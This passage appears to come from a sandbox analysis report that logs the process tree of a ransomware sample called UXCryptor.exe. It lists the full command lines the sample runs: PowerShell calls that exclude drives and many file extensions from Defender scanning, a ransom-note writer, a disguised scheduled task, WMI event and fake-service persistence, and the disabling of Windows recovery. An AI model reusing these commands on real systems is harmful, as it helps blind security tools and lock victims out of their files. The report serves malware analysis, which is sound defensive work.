  PID:15172
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bz2' -ErrorAction SilentlyContinue"
  2⤵
  PID:15180
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xz' -ErrorAction SilentlyContinue"
  2⤵
  PID:15188
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cab' -ErrorAction SilentlyContinue"
  2⤵
  PID:15196
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'deb' -ErrorAction SilentlyContinue"
  2⤵
  PID:15204
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rpm' -ErrorAction SilentlyContinue"
  2⤵
  PID:15212
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'iso' -ErrorAction SilentlyContinue"
  2⤵
  PID:15220
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'img' -ErrorAction SilentlyContinue"
  2⤵
  PID:15228
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'apk' -ErrorAction SilentlyContinue"
  2⤵
  PID:15236
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'appx' -ErrorAction SilentlyContinue"
  2⤵
  PID:15244
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ipa' -ErrorAction SilentlyContinue"
  2⤵
  PID:15252
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dmg' -ErrorAction SilentlyContinue"
  2⤵
  PID:15260
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pkg' -ErrorAction SilentlyContinue"
  2⤵
  PID:15268
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 6996
  2⤵
  - Program crash
  PID:19800
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 1356
  2⤵
  - Program crash
  PID:7236

C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
"C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" --wininit
1⤵
- Modifies WinLogon for persistence
- UAC bypass
- Disables RegEdit via registry modification
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- System policy modification
PID:4180
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:19348
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:19360
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:19368
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:19376
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:19384
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:19392
- C:\Windows\SysWOW64\taskkill.exe
  taskkill.exe /f /im Explorer.exe
  2⤵
  - Kills process with taskkill
  PID:19400
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /create /tn "WindowsDefenderUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" /sc onlogon /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:19408
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="WindowsSecurityFilter", EventNamespace="root\cimv2", Query="SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession'"
  2⤵
  PID:19416
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="WindowsSecurityConsumer", CommandLineTemplate="C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe"
  2⤵
  PID:19424
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WindowsSecurityFilter\"", Consumer="CommandLineEventConsumer.Name=\"WindowsSecurityConsumer\""
  2⤵
  PID:19432
- C:\Windows\SysWOW64\sc.exe
  sc create WindowsSecurityService binPath= "C:\Windows\system32\winsecsvc.exe" start= auto DisplayName= "Windows Security Service"
  2⤵
  - Launches sc.exe
  PID:19440
- C:\Windows\SysWOW64\sc.exe
  sc description WindowsSecurityService "Provides Windows security and update management."
  2⤵
  - Launches sc.exe
  PID:19448
- C:\Windows\SysWOW64\sc.exe
  sc start WindowsSecurityService
  2⤵
  - Launches sc.exe
  PID:16616
- C:\Windows\SysWOW64\reagentc.exe
  reagentc.exe /disable
  2⤵
  PID:17332
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:' -ErrorAction SilentlyContinue"
  2⤵
  PID:16456
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'E:' -ErrorAction SilentlyContinue"
  2⤵
  PID:17780
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'F:' -ErrorAction SilentlyContinue"
  2⤵
  PID:17824
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'exe' -ErrorAction SilentlyContinue"
  2⤵
  PID:17848
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dll' -ErrorAction SilentlyContinue"
  2⤵
  PID:17100
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'msi' -ErrorAction SilentlyContinue"
  2⤵
  PID:19464
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'sys' -ErrorAction SilentlyContinue"
  2⤵
  PID:19472
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'drv' -ErrorAction SilentlyContinue"
  2⤵
  PID:19480
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ocx' -ErrorAction SilentlyContinue"
  2⤵
  PID:19488
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cpl' -ErrorAction SilentlyContinue"
  2⤵
  PID:19496
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'scr' -ErrorAction SilentlyContinue"
  2⤵
  PID:19504
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bat' -ErrorAction SilentlyContinue"
  2⤵
  PID:19512
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cmd' -ErrorAction SilentlyContinue"
  2⤵
  PID:19520
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'com' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:19528
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vbs' -ErrorAction SilentlyContinue"
  2⤵
  PID:19536
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vbe' -ErrorAction SilentlyContinue"
  2⤵
  PID:19544
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'js' -ErrorAction SilentlyContinue"
  2⤵
  PID:19552
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jse' -ErrorAction SilentlyContinue"
  2⤵
  PID:19560
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsf' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:19568
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsh' -ErrorAction SilentlyContinue"
  2⤵
  PID:19576
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ps1' -ErrorAction SilentlyContinue"
  2⤵
  PID:19584
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ps2' -ErrorAction SilentlyContinue"
  2⤵
  PID:19592
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psm1' -ErrorAction SilentlyContinue"
  2⤵
  PID:19600
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psd1' -ErrorAction SilentlyContinue"
  2⤵
  PID:19608
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jar' -ErrorAction SilentlyContinue"
  2⤵
  PID:19616
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'java' -ErrorAction SilentlyContinue"
  2⤵
  PID:19624
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'class' -ErrorAction SilentlyContinue"
  2⤵
  PID:19632
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'py' -ErrorAction SilentlyContinue"
  2⤵
  PID:19640
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pyw' -ErrorAction SilentlyContinue"
  2⤵
  PID:19648
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pyc' -ErrorAction SilentlyContinue"
  2⤵
  PID:19656
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rb' -ErrorAction SilentlyContinue"
  2⤵
  PID:19664
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rbw' -ErrorAction SilentlyContinue"
  2⤵
  PID:19672
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pl' -ErrorAction SilentlyContinue"
  2⤵
  PID:19680
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pm' -ErrorAction SilentlyContinue"
  2⤵
  PID:19688
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php' -ErrorAction SilentlyContinue"
  2⤵
  PID:19696
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php3' -ErrorAction SilentlyContinue"
  2⤵
  PID:19704
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php4' -ErrorAction SilentlyContinue"
  2⤵
  PID:19712
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php5' -ErrorAction SilentlyContinue"
  2⤵
  PID:19720
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'phtml' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:19728
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'asp' -ErrorAction SilentlyContinue"
  2⤵
  PID:19736
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'aspx' -ErrorAction SilentlyContinue"
  2⤵
  PID:19744
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ascx' -ErrorAction SilentlyContinue"
  2⤵
  PID:19752
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ashx' -ErrorAction SilentlyContinue"
  2⤵
  PID:19760
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'asmx' -ErrorAction SilentlyContinue"
  2⤵
  PID:19768
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'axd' -ErrorAction SilentlyContinue"
  2⤵
  PID:19776
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'svc' -ErrorAction SilentlyContinue"
  2⤵
  PID:19784
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xaml' -ErrorAction SilentlyContinue"
  2⤵
  PID:19792
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'htm' -ErrorAction SilentlyContinue"
  2⤵
  PID:19800
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'html' -ErrorAction SilentlyContinue"
  2⤵
  PID:19808
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'shtml' -ErrorAction SilentlyContinue"
  2⤵
  PID:19816
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xhtml' -ErrorAction SilentlyContinue"
  2⤵
  PID:19824
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xml' -ErrorAction SilentlyContinue"
  2⤵
  PID:19832
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xsl' -ErrorAction SilentlyContinue"
  2⤵
  PID:19840
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xslt' -ErrorAction SilentlyContinue"
  2⤵
  PID:19848
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsdl' -ErrorAction SilentlyContinue"
  2⤵
  PID:19864
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vsto' -ErrorAction SilentlyContinue"
  2⤵
  PID:19872
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xla' -ErrorAction SilentlyContinue"
  2⤵
  PID:19880
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlam' -ErrorAction SilentlyContinue"
  2⤵
  PID:19888
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xll' -ErrorAction SilentlyContinue"
  2⤵
  PID:19900
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlw' -ErrorAction SilentlyContinue"
  2⤵
  PID:19908
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xls' -ErrorAction SilentlyContinue"
  2⤵
  PID:19916
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsx' -ErrorAction SilentlyContinue"
  2⤵
  PID:19924
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsm' -ErrorAction SilentlyContinue"
  2⤵
  PID:19932
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsb' -ErrorAction SilentlyContinue"
  2⤵
  PID:19940
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlt' -ErrorAction SilentlyContinue"
  2⤵
  PID:19948
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xltx' -ErrorAction SilentlyContinue"
  2⤵
  PID:19956
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xltm' -ErrorAction SilentlyContinue"
  2⤵
  PID:19964
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlk' -ErrorAction SilentlyContinue"
  2⤵
  PID:19972
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'doc' -ErrorAction SilentlyContinue"
  2⤵
  PID:19980
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'docx' -ErrorAction SilentlyContinue"
  2⤵
  PID:19988
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'docm' -ErrorAction SilentlyContinue"
  2⤵
  PID:19996
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dot' -ErrorAction SilentlyContinue"
  2⤵
  PID:20004
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dotx' -ErrorAction SilentlyContinue"
  2⤵
  PID:20012
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dotm' -ErrorAction SilentlyContinue"
  2⤵
  PID:20020
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rtf' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:20028
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'txt' -ErrorAction SilentlyContinue"
  2⤵
  PID:20036
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'log' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:20044
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ini' -ErrorAction SilentlyContinue"
  2⤵
  PID:20052
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'inf' -ErrorAction SilentlyContinue"
  2⤵
  PID:20060
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cfg' -ErrorAction SilentlyContinue"
  2⤵
  PID:20068
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'conf' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:20076
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'reg' -ErrorAction SilentlyContinue"
  2⤵
  PID:20092
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'sh' -ErrorAction SilentlyContinue"
  2⤵
  PID:20100
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bash' -ErrorAction SilentlyContinue"
  2⤵
  PID:20108
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'hta' -ErrorAction SilentlyContinue"
  2⤵
  PID:20116
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pdf' -ErrorAction SilentlyContinue"
  2⤵
  PID:20124
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pub' -ErrorAction SilentlyContinue"
  2⤵
  PID:20132
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppt' -ErrorAction SilentlyContinue"
  2⤵
  PID:20140
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pptx' -ErrorAction SilentlyContinue"
  2⤵
  PID:20148
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pptm' -ErrorAction SilentlyContinue"
  2⤵
  PID:20156
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pps' -ErrorAction SilentlyContinue"
  2⤵
  PID:20164
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppsx' -ErrorAction SilentlyContinue"
  2⤵
  PID:20172
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppsm' -ErrorAction SilentlyContinue"
  2⤵
  PID:20180
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pot' -ErrorAction SilentlyContinue"
  2⤵
  PID:20188
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'potx' -ErrorAction SilentlyContinue"
  2⤵
  PID:20196
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'potm' -ErrorAction SilentlyContinue"
  2⤵
  PID:20204
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppa' -ErrorAction SilentlyContinue"
  2⤵
  PID:20212
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppam' -ErrorAction SilentlyContinue"
  2⤵
  PID:20220
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xps' -ErrorAction SilentlyContinue"
  2⤵
  PID:20228
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odt' -ErrorAction SilentlyContinue"
  2⤵
  PID:20236
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ods' -ErrorAction SilentlyContinue"
  2⤵
  PID:20244
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odp' -ErrorAction SilentlyContinue"
  2⤵
  PID:20252
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odg' -ErrorAction SilentlyContinue"
  2⤵
  PID:20260
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odb' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:20268
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jpg' -ErrorAction SilentlyContinue"
  2⤵
  PID:20276
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jpeg' -ErrorAction SilentlyContinue"
  2⤵
  PID:20284
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'png' -ErrorAction SilentlyContinue"
  2⤵
  PID:20292
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'gif' -ErrorAction SilentlyContinue"
  2⤵
  PID:20300
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bmp' -ErrorAction SilentlyContinue"
  2⤵
  PID:20308
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tif' -ErrorAction SilentlyContinue"
  2⤵
  PID:20316
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tiff' -ErrorAction SilentlyContinue"
  2⤵
  PID:20324
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ico' -ErrorAction SilentlyContinue"
  2⤵
  PID:20340
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cur' -ErrorAction SilentlyContinue"
  2⤵
  PID:20348
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
